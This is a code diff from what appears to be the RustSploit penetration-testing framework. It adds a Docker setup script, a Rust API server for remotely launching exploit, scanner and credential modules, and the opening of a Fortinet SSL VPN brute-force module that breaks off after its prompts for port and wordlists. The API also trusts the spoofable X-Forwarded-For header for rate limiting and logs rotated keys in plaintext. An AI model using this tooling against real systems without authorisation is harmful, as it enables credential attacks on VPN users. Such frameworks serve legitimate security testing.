and prints the command to bring the stack up.
This variant includes runtime fixes to avoid permission-denied on /app/data
and ensures the container starts as root briefly to fix ownership, then
executes the rustsploit binary as the less-privileged `rustsploit` user.
"""
import secrets
import os
import stat
import socket
import ipaddress
import subprocess
import pwd
from pathlib import Path
# Fix: Use parent.parent since script is in scripts/ directory
repo = Path(__file__).resolve().parent.parent
if not (repo / "Cargo.toml").exists():
print("[-] Error: Run this script from the RustSploit repository root.")
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
exit(1)
# ---------- Helper functions ----------
def ask(prompt, default=None, validator=None):
"""Interactive prompt with validation."""
suffix = f" [{default}]" if default is not None else ""
while True:
val = input(f"{prompt}{suffix}: ").strip()
if not val and default is not None:
val = default
if not val:
print("Value cannot be empty.")
continue
if validator:
try:
validator(val)
except ValueError as e:
print(f"Invalid input: {e}")
continue
return val
def ask_yes_no(prompt, default=True):
"""Yes/No prompt."""
hint = "Y/n" if default else "y/N"
while True:
val = input(f"{prompt} ({hint}): ").strip().lower()
if not val:
return default
if val in ("y", "yes"):
return True
if val in ("n", "no"):
return False
print("Please answer 'y' or 'n'.")
def validate_host(host):
"""Validate host/IP address."""
host = host.strip()
if not host:
raise ValueError("Host cannot be empty")
# Allow localhost
if host == "localhost":
return
# Try to parse as IP
try:
ipaddress.ip_address(host)
except ValueError:
# Not a valid IP, check if it's a valid hostname
if len(host) > 253:
raise ValueError("Hostname too long (max 253 chars)")
if any(c.isspace() for c in host):
raise ValueError("Hostname cannot contain whitespace")
def validate_port(port_str):
"""Validate port number."""
try:
port = int(port_str)
if not (1 <= port <= 65535):
raise ValueError("Port must be between 1 and 65535")
except ValueError as e:
if "invalid literal" in str(e):
raise ValueError("Port must be a number")
raise
def detect_private_ip():
"""Try to detect private IP address."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
sock.connect(("192.0.2.1", 80))
return sock.getsockname()[0]
except OSError:
return None
# ---------- Interactive prompts ----------
print("\n[+] RustSploit Docker Setup\n")
# Host selection
print("Select bind address:")
print(" [1] 127.0.0.1 (localhost only)")
print(" [2] 0.0.0.0 (all interfaces)")
print(" [3] Private LAN IP (auto-detect)")
print(" [4] Custom IP/hostname")
choice = ask("Choice", "2")
if choice == "1":
host = "127.0.0.1"
elif choice == "2":
host = "0.0.0.0"
elif choice == "3":
detected = detect_private_ip()
if detected:
print(f"[+] Detected private IP: {detected}")
use_detected = ask_yes_no("Use detected IP?", True)
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
else:
print("[-] Could not auto-detect private IP")
host = ask("Enter IP/hostname", validator=validate_host)
else:
host = ask("Enter IP/hostname", validator=validate_host)
# Port
# Default changed to 9000 as this is a common API port and matches user's prior usage
port_str = ask("Host port to expose", "9000", validator=validate_port)
port = int(port_str)
# API Key
print("\n[+] API Key Configuration")
generate_key = ask_yes_no("Generate random API key?", True)
if generate_key:
api_key = secrets.token_urlsafe(32)
print(f"[+] Generated API key: {api_key}")
else:
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
# Hardening
print("\n[+] Security Hardening")
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
ip_limit = 10
if harden:
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
ip_limit = int(ip_limit_str)
# ---------- File generation ----------
env_file = ".env.rustsploit-docker"
compose_file = "docker-compose.rustsploit.yml"
env_path = repo / env_file
compose_path = repo / compose_file
# Check for existing .env file
if env_path.exists():
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite .env file?", False):
print("[-] Aborted.")
exit(0)
# Check for existing docker-compose file
if compose_path.exists():
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite docker-compose file?", False):
print("[-] Aborted.")
exit(0)
# ---- .env ----
container_interface = f"0.0.0.0:{port}"
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
RUSTSPLOIT_API_KEY={api_key}
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
RUSTSPLOIT_IP_LIMIT={ip_limit}
"""
env_path.write_text(env_content)
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"\n[+] Generated: {env_path}")
# Fix ownership if file was created with sudo (owned by root)
if env_path.stat().st_uid == 0:
print("[!] File was created as root. Fixing ownership...")
try:
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
if not user:
user = pwd.getpwuid(os.getuid()).pw_name
# If we're running as root (via sudo), we can chown directly
if os.geteuid() == 0:
user_info = pwd.getpwnam(user)
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
print(f"[+] Ownership fixed: {user}:{user}")
else:
# Not root, need to use sudo
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
print(f"[+] Ownership fixed: {user}:{user}")
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
print(f"[!] Warning: Could not automatically fix ownership: {e}")
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
# ---- docker-compose.yml with embedded Dockerfile ----
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
# /app/data at container startup, then it drops privileges and executes the
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
dockerfile_content = """FROM rust:1.83-slim AS builder
WORKDIR /workspace
ENV CARGO_TERM_COLOR=always
RUN apt-get update \\
&& apt-get install -y --no-install-recommends \\
build-essential \\
pkg-config \\
libssl-dev \\
libclang-dev \\
libpcap-dev \\
libsqlite3-dev \\
&& rm -rf /var/lib/apt/lists/*
COPY Cargo.toml ./
COPY Cargo.lock* ./
COPY . .
RUN cargo build --release --bin rustsploit
FROM debian:bookworm-slim AS serve
RUN apt-get update \\
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
&& rm -rf /var/lib/apt/lists/*
# create non-root user
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
WORKDIR /app
# create data dir (image-level), but runtime entrypoint will chown the volume target
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
echo 'set -e' >> /entrypoint.sh && \\
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
echo ' fi' >> /entrypoint.sh && \\
echo 'fi' >> /entrypoint.sh && \\
# ensure data dir exists and is owned by rustsploit so that non-root process can write
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
# finally, execute rustsploit as the rustsploit user using runuser
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
chmod +x /entrypoint.sh && \\
chown root:root /entrypoint.sh && \\
chown root:root /usr/local/bin/rustsploit
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
"""
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
dockerfile_path = repo / "Dockerfile.rustsploit"
dockerfile_path.write_text(dockerfile_content)
print(f"[+] Generated: {dockerfile_path}")
# Generate docker-compose.yml
compose_content = f"""# Generated by {Path(__file__).name}
services:
rustsploit-api:
container_name: rustsploit-api
build:
context: .
dockerfile: Dockerfile.rustsploit
target: serve
restart: unless-stopped
env_file:
- {env_file}
ports:
- "{host}:{port}:{port}"
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
volumes:
- rustsploit-data:/app/data
volumes:
rustsploit-data:
name: rustsploit-data
"""
compose_path.write_text(compose_content)
print(f"[+] Generated: {compose_path}")
print("\n[+] Setup complete!")
print("\n[+] Generated files:")
print(f" - {env_path.relative_to(repo)}")
print(f" - {compose_path.relative_to(repo)}")
print(f" - {dockerfile_path.relative_to(repo)}")
print(f"\n[!] Note: Run docker compose commands from the repository root:")
print(f" cd {repo}")
print("\n[+] To start the stack, run:")
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} up -d --build")
print("\n[+] To view logs:")
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} logs -f")
print("\n[+] To stop the stack:")
print(f" cd {repo} && docker compose -f {compose_file} down")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} down")
+716
View File
@@ -0,0 +1,716 @@
use anyhow::{Context, Result};
use axum::{
extract::{ConnectInfo, Request, State},
http::{HeaderMap, StatusCode},
middleware::Next,
response::{IntoResponse, Response},
routing::{get, post},
Json, Router,
};
use std::net::SocketAddr;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use std::{
collections::HashMap,
path::PathBuf,
sync::Arc,
};
use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
sync::RwLock,
};
use tower::ServiceBuilder;
use tower_http::trace::TraceLayer;
use uuid::Uuid;
use crate::commands;
#[derive(Clone, Debug)]
pub struct ApiKey {
pub key: String,
pub created_at: DateTime<Utc>,
}
#[derive(Clone, Debug, Serialize)]
pub struct IpTracker {
pub ip: String,
pub first_seen: DateTime<Utc>,
pub last_seen: DateTime<Utc>,
pub request_count: u32,
}
#[derive(Clone, Debug, Serialize)]
pub struct AuthFailureTracker {
pub ip: String,
pub failed_attempts: u32,
pub first_failure: DateTime<Utc>,
pub blocked_until: Option<DateTime<Utc>>,
}
#[derive(Clone)]
pub struct ApiState {
pub current_key: Arc<RwLock<ApiKey>>,
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
pub harden_enabled: bool,
pub ip_limit: u32,
pub log_file: PathBuf,
}
#[derive(Serialize, Deserialize)]
pub struct ApiResponse {
pub success: bool,
pub message: String,
pub data: Option<serde_json::Value>,
}
#[derive(Serialize, Deserialize)]
pub struct RunModuleRequest {
pub module: String,
pub target: String,
}
#[derive(Serialize, Deserialize)]
pub struct ListModulesResponse {
pub exploits: Vec<String>,
pub scanners: Vec<String>,
pub creds: Vec<String>,
}
// ----------------------
// Validation utilities
// ----------------------
fn sanitize_for_log(input: &str) -> String {
let mut s = input.replace(['\r', '\n', '\t'], " ");
if s.len() > 500 {
s.truncate(500);
s.push_str("");
}
s
}
fn is_printable_ascii(s: &str) -> bool {
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
}
fn validate_api_key_format(key: &str) -> bool {
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
}
fn validate_module_name(module: &str) -> bool {
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
if module.is_empty() || module.len() > 200 { return false; }
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
return false;
}
let parts: Vec<&str> = module.split('/').collect();
if parts.len() < 2 { return false; }
matches!(parts[0], "exploits" | "scanners" | "creds")
}
fn validate_target(target: &str) -> bool {
if target.is_empty() || target.len() > 2048 { return false; }
if !is_printable_ascii(target) { return false; }
// Basic sanity: avoid spaces at ends and double CRLF injections
let trimmed = target.trim();
trimmed == target && !target.contains("\r\n\r\n")
}
impl ApiState {
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
let log_file = std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join("rustsploit_api.log");
Self {
current_key: Arc::new(RwLock::new(ApiKey {
key: initial_key,
created_at: Utc::now(),
})),
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
auth_failures: Arc::new(RwLock::new(HashMap::new())),
harden_enabled: harden,
ip_limit,
log_file,
}
}
pub async fn rotate_key(&self) -> Result<String> {
let new_key = Uuid::new_v4().to_string();
let mut key_guard = self.current_key.write().await;
key_guard.key = new_key.clone();
key_guard.created_at = Utc::now();
drop(key_guard);
// Clear IP tracker on rotation
let mut tracker_guard = self.ip_tracker.write().await;
tracker_guard.clear();
drop(tracker_guard);
self.log_message(&format!(
"[SECURITY] API key rotated at {}",
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
Ok(new_key)
}
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
if !self.harden_enabled {
return Ok(false);
}
let mut tracker_guard = self.ip_tracker.write().await;
let now = Utc::now();
if let Some(tracker) = tracker_guard.get_mut(ip) {
// Update existing tracker - use all fields
tracker.last_seen = now;
tracker.request_count += 1;
// Log detailed tracking info using first_seen
let duration = now.signed_duration_since(tracker.first_seen);
let _ = self.log_message(&format!(
"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
tracker.ip,
tracker.request_count,
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
duration.num_seconds()
)).await;
} else {
// Create new tracker - all fields are set and will be used
let new_tracker = IpTracker {
ip: ip.to_string(),
first_seen: now,
last_seen: now,
request_count: 1,
};
// Log new IP using all fields
let _ = self.log_message(&format!(
"[TRACKING] New IP detected: {} (first seen: {})",
new_tracker.ip,
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
)).await;
tracker_guard.insert(ip.to_string(), new_tracker);
}
let unique_ips = tracker_guard.len() as u32;
drop(tracker_guard);
if unique_ips > self.ip_limit {
let new_key = self.rotate_key().await?;
self.log_message(&format!(
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
unique_ips, self.ip_limit, new_key
))
.await?;
println!(
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
unique_ips, self.ip_limit
);
println!("⚠️ New API key: {}", new_key);
return Ok(true);
}
Ok(false)
}
pub async fn log_message(&self, message: &str) -> Result<()> {
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
let safe = sanitize_for_log(message);
let log_entry = format!("[{}] {}\n", timestamp, safe);
// Log to terminal
println!("{}", log_entry.trim());
// Log to file
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&self.log_file)
.await
.context("Failed to open log file")?;
file.write_all(log_entry.as_bytes())
.await
.context("Failed to write to log file")?;
Ok(())
}
pub async fn verify_key(&self, provided_key: &str) -> bool {
let key_guard = self.current_key.read().await;
key_guard.key == provided_key
}
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
if let Some(tracker) = failures_guard.get_mut(ip) {
// Check if IP is currently blocked
if let Some(blocked_until) = tracker.blocked_until {
if now < blocked_until {
let remaining = (blocked_until - now).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
ip, remaining, tracker.failed_attempts
))
.await?;
return Ok(false); // Blocked
} else {
// Block period expired, reset
tracker.failed_attempts = 0;
tracker.blocked_until = None;
self.log_message(&format!(
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
ip
))
.await?;
}
}
}
Ok(true) // Not blocked
}
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
AuthFailureTracker {
ip: ip.to_string(),
failed_attempts: 0,
first_failure: now,
blocked_until: None,
}
});
// Set first_failure if this is the first attempt
if tracker.failed_attempts == 0 {
tracker.first_failure = now;
}
tracker.failed_attempts += 1;
// Block after 3 failed attempts for 30 seconds
if tracker.failed_attempts >= 3 {
let block_until = now + chrono::Duration::seconds(30);
tracker.blocked_until = Some(block_until);
let duration_since_first = (now - tracker.first_failure).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
duration_since_first
))
.await?;
println!(
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
);
} else {
self.log_message(&format!(
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
}
Ok(())
}
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
if let Some(tracker) = failures_guard.get_mut(ip) {
if tracker.failed_attempts > 0 {
self.log_message(&format!(
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
ip, tracker.failed_attempts
))
.await?;
}
tracker.failed_attempts = 0;
tracker.blocked_until = None;
}
Ok(())
}
}
async fn auth_middleware(
State(state): State<ApiState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
.and_then(|h| h.to_str().ok())
.map(|s| {
s.split(',')
.next()
.unwrap_or("")
.trim()
.to_string()
})
.filter(|s| !s.is_empty())
.unwrap_or_else(|| addr.ip().to_string());
// Check rate limit before processing authentication
if client_ip != "unknown" {
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
if !allowed {
let response = ApiResponse {
success: false,
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
data: None,
};
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
}
}
}
// Extract API key from Authorization header
let auth_header = headers
.get("Authorization")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
let provided_key = if auth_header.starts_with("Bearer ") {
&auth_header[7..]
} else if auth_header.starts_with("ApiKey ") {
&auth_header[7..]
} else {
auth_header
};
// Basic key format validation
if !validate_api_key_format(provided_key) {
let response = ApiResponse {
success: false,
message: "Malformed API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Verify API key
let is_valid = state.verify_key(provided_key).await;
if !is_valid {
// Record failed authentication attempt
if client_ip != "unknown" {
let _ = state.record_auth_failure(&client_ip).await;
}
let response = ApiResponse {
success: false,
message: "Invalid API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Successful authentication - reset failure counter for this IP
if client_ip != "unknown" {
let _ = state.reset_auth_failures(&client_ip).await;
}
// Track IP for hardening (if enabled)
let _ = state.track_ip(&client_ip).await;
next.run(request).await
}
async fn health_check() -> Json<ApiResponse> {
Json(ApiResponse {
success: true,
message: "API is running".to_string(),
data: None,
})
}
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
let modules = commands::discover_modules();
let mut exploits = Vec::new();
let mut scanners = Vec::new();
let mut creds = Vec::new();
for module in modules {
if module.starts_with("exploits/") {
exploits.push(module);
} else if module.starts_with("scanners/") {
scanners.push(module);
} else if module.starts_with("creds/") {
creds.push(module);
}
}
let data = ListModulesResponse {
exploits,
scanners,
creds,
};
Json(ApiResponse {
success: true,
message: "Modules retrieved successfully".to_string(),
data: Some(serde_json::to_value(data).unwrap()),
})
}
async fn run_module(
State(state): State<ApiState>,
Json(payload): Json<RunModuleRequest>,
) -> Result<Json<ApiResponse>, StatusCode> {
let module_name_raw = payload.module.as_str();
let target_raw = payload.target.as_str();
// Validate inputs
if !validate_module_name(module_name_raw) {
return Err(StatusCode::BAD_REQUEST);
}
if !validate_target(target_raw) {
return Err(StatusCode::BAD_REQUEST);
}
// Sanitize for logging only
let module_name = sanitize_for_log(module_name_raw);
let target_name = sanitize_for_log(target_raw);
state
.log_message(&format!(
"API request: run module '{}' on target '{}'",
module_name, target_name
))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Run the module in a separate OS thread since some modules aren't Send
let module = payload.module.clone();
let target = payload.target.clone();
let state_clone = state.clone();
// Use std::thread to run in a separate OS thread with its own runtime
std::thread::spawn(move || {
// Create a new runtime for this thread since modules need async runtime
let rt = tokio::runtime::Runtime::new().unwrap();
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target).await {
let _ = state_clone
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
.await;
} else {
let _ = state_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}'",
sanitize_for_log(&module), sanitize_for_log(&target)
))
.await;
}
});
});
Ok(Json(ApiResponse {
success: true,
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
data: None,
}))
}
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
let key_guard = state.current_key.read().await;
let tracker_guard = state.ip_tracker.read().await;
// Collect all tracked IPs with their details
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
let ip_details: Vec<serde_json::Value> = tracked_ips
.iter()
.map(|tracker| {
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
})
})
.collect();
let status_data = serde_json::json!({
"harden_enabled": state.harden_enabled,
"ip_limit": state.ip_limit,
"unique_ips": tracker_guard.len(),
"key_created_at": key_guard.created_at.to_rfc3339(),
"log_file": state.log_file.to_string_lossy(),
"tracked_ips": ip_details,
});
Json(ApiResponse {
success: true,
message: "Status retrieved successfully".to_string(),
data: Some(status_data),
})
}
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
let new_key = state
.rotate_key()
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
Ok(Json(ApiResponse {
success: true,
message: "API key rotated successfully".to_string(),
data: Some(serde_json::json!({ "new_key": new_key })),
}))
}
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
let tracker_guard = state.ip_tracker.read().await;
let failures_guard = state.auth_failures.read().await;
// Use all fields from IpTracker
let ips: Vec<serde_json::Value> = tracker_guard
.values()
.map(|tracker| {
// Get auth failure info for this IP if it exists
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
serde_json::json!({
"failed_attempts": fail.failed_attempts,
"first_failure": fail.first_failure.to_rfc3339(),
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
})
});
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
"auth_failures": auth_info,
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} tracked IP addresses", ips.len()),
data: Some(serde_json::json!({ "ips": ips })),
})
}
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
let failures_guard = state.auth_failures.read().await;
let now = Utc::now();
// Use all fields from AuthFailureTracker
let failures: Vec<serde_json::Value> = failures_guard
.values()
.map(|tracker| {
let is_blocked = tracker.blocked_until
.map(|blocked_until| now < blocked_until)
.unwrap_or(false);
let remaining_seconds = if is_blocked {
tracker.blocked_until
.map(|blocked_until| (blocked_until - now).num_seconds())
.unwrap_or(0)
} else {
0
};
serde_json::json!({
"ip": tracker.ip,
"failed_attempts": tracker.failed_attempts,
"first_failure": tracker.first_failure.to_rfc3339(),
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": is_blocked,
"remaining_block_seconds": remaining_seconds,
"duration_since_first": (now - tracker.first_failure).num_seconds(),
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
data: Some(serde_json::json!({ "auth_failures": failures })),
})
}
pub async fn start_api_server(
bind_address: &str,
api_key: String,
harden: bool,
ip_limit: u32,
) -> Result<()> {
let state = ApiState::new(api_key.clone(), harden, ip_limit);
// Log initial startup
state
.log_message(&format!(
"Starting API server on {} with hardening: {}, IP limit: {}",
bind_address, harden, ip_limit
))
.await?;
println!("🚀 Starting RustSploit API server...");
println!("📍 Binding to: {}", bind_address);
println!("🔑 Initial API key: {}", api_key);
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
if harden {
println!("📊 IP limit: {}", ip_limit);
}
println!("📝 Log file: {}", state.log_file.display());
// Create routes that require authentication
let protected_routes = Router::new()
.route("/api/modules", get(list_modules))
.route("/api/run", post(run_module))
.route("/api/status", get(get_status))
.route("/api/rotate-key", post(rotate_key_endpoint))
.route("/api/ips", get(get_tracked_ips))
.route("/api/auth-failures", get(get_auth_failures))
.layer(axum::middleware::from_fn_with_state(
state.clone(),
auth_middleware,
));
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
.await
.context(format!("Failed to bind to {}", bind_address))?;
println!("✅ API server is running! Use the API key in Authorization header.");
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await
.context("API server error")?;
Ok(())
}
+21 -1
View File
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command"])
.args(&["command", "api"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
@@ -19,4 +19,24 @@ pub struct Cli {
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
/// Launch API server mode
#[arg(long)]
pub api: bool,
/// API key for authentication (required when --api is used)
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
}
+24 -1
View File
@@ -1,4 +1,4 @@
use anyhow::Result;
use anyhow::{Context, Result};
use clap::Parser;
mod cli;
@@ -6,12 +6,35 @@ mod shell;
mod commands;
mod modules;
mod utils;
mod api;
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// Check if API mode is requested
if cli_args.api {
let api_key = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
let bind_address = if interface.contains(':') {
interface
} else {
format!("{}:8080", interface)
};
let harden = cli_args.harden;
let ip_limit = cli_args.ip_limit.unwrap_or(10);
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
return Ok(());
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
@@ -0,0 +1,518 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
use regex::Regex;
pub async fn run(target: &str) -> Result<()> {
println!("=== Fortinet SSL VPN Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("Fortinet VPN Port", "443")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
